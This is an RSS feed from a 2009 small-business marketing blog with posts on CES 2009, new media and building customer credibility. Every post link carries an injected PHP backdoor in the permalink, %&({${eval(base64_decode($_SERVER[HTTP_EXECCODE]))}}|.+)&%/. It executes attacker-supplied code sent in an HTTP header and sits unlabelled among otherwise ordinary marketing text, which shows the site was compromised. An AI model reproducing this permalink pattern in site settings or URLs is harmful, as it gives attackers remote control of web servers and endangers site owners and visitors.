Small Business Notebook http://smallbusinessnotebook.com Real Nuts & Bolts Marketing for Small Business Owners Mon, 06 Apr 2009 19:04:55 +0000 http://wordpress.org/?v=2.6.2 en CES 2009 - First Day http://smallbusinessnotebook.com/2009/01/09/ces-2009-first-day/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://smallbusinessnotebook.com/2009/01/09/ces-2009-first-day/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 09 Jan 2009 05:10:35 +0000 Lee Watters http://smallbusinessnotebook.com/?p=47 More people than you can shake a stick at, CES in Vegas it alive and well in 2009. At 10:00am today the show floor opened to crowds of people from all over the world. The consumer Electronics Show is the largest show for all the new cool high tech gadgets you will see in stores this year, and in the future.

My first stop was the Microsoft booth to look at the new Windows 7; I have to say this is very impressive. Requiring less power than vista to run, this OS is not only fast, but very powerful.  Microsoft looks like they have their hand on the pulse of what consumers and business people want.

 

With all the new features of Windows 7 small businesses will be able to run their business faster and easier than ever before. Keeping customers updated on changes and new products or services is so easy with Office Live Small Business. You can build a website and keep it updated without any programming experience; the best part of this is it’s all free!

More to come, check back over the next 2 days.

]]> http://smallbusinessnotebook.com/2009/01/09/ces-2009-first-day/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ What is New Media? http://smallbusinessnotebook.com/2008/10/10/what-is-new-media/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://smallbusinessnotebook.com/2008/10/10/what-is-new-media/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 10 Oct 2008 18:24:14 +0000 Lee Watters http://smallbusinessnotebook.com/?p=18 The term “New Media” is being used by the new generation of content producers and providers, that are working in the online world. New media consists of Internet audio, video,  text messaging, and blogs. One of the new ways to market your business is with “Podcasts” which can be an audio or video presentation on the web. Podcasts are just like radio or TV shows, but are uploaded to the internet and played back on demand. Some web content developers are producing shows on the Internet for people to listen to online or download for playback later. Search “podcast” in Google and see how this form of new media is used.

Few business owners understand the impact new media has, and will have in the future on marketing a big or small business. Customers research and find out about products and services online today, and new media is what can put you out in front. Now, and in the future new media is and will be the better way to market a business.

New media is just what business needs, small and large. When a company records a video about their product or service, and puts it on their website it’s available for millions of eyes to see.   With a very small or in some cases no budget, companies can launch a marketing campaign that can reach all over the world for just about free. For example, have you ever heard of “Blendtec” blenders? Most coffee and smoothie shops use their brand of blenders. They did a marketing campaign that has exploded with a starting budget of $50.00. With the launch of “www.willitblend.com” the company has seen sales recorders in their high quality blenders. Visit the website and view a few of their videos, you will see how and why new media is changing the way we market our businesses.

For more tips visit my video blog at www.leewatters.com

]]> http://smallbusinessnotebook.com/2008/10/10/what-is-new-media/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Build Credibility http://smallbusinessnotebook.com/2008/10/04/build-credibility/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://smallbusinessnotebook.com/2008/10/04/build-credibility/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 04 Oct 2008 04:17:54 +0000 Lee Watters http://smallbusinessnotebook.com/?p=4 If you want a never-ending flow of customers, you need to build credibility. This is part of building your brand, as you service the same customers repeatedly. Each time a customer comes back and they get the same or better service you will build credibility with them. As they go about their life, they will recommend you and your business to their family and friends.

Things to think about when building credibility:

  • •         Showing up on time
  • •         Never take advantage of a customer
  • •         Make sure you clean up after you’re self
  • •         Follow through with promises’
  • •         Call people back

You may think these are small things, but to a customer they can be the one thing that makes them call your competition. For more business and marketing tips visit my video blog at www.leewatters.com

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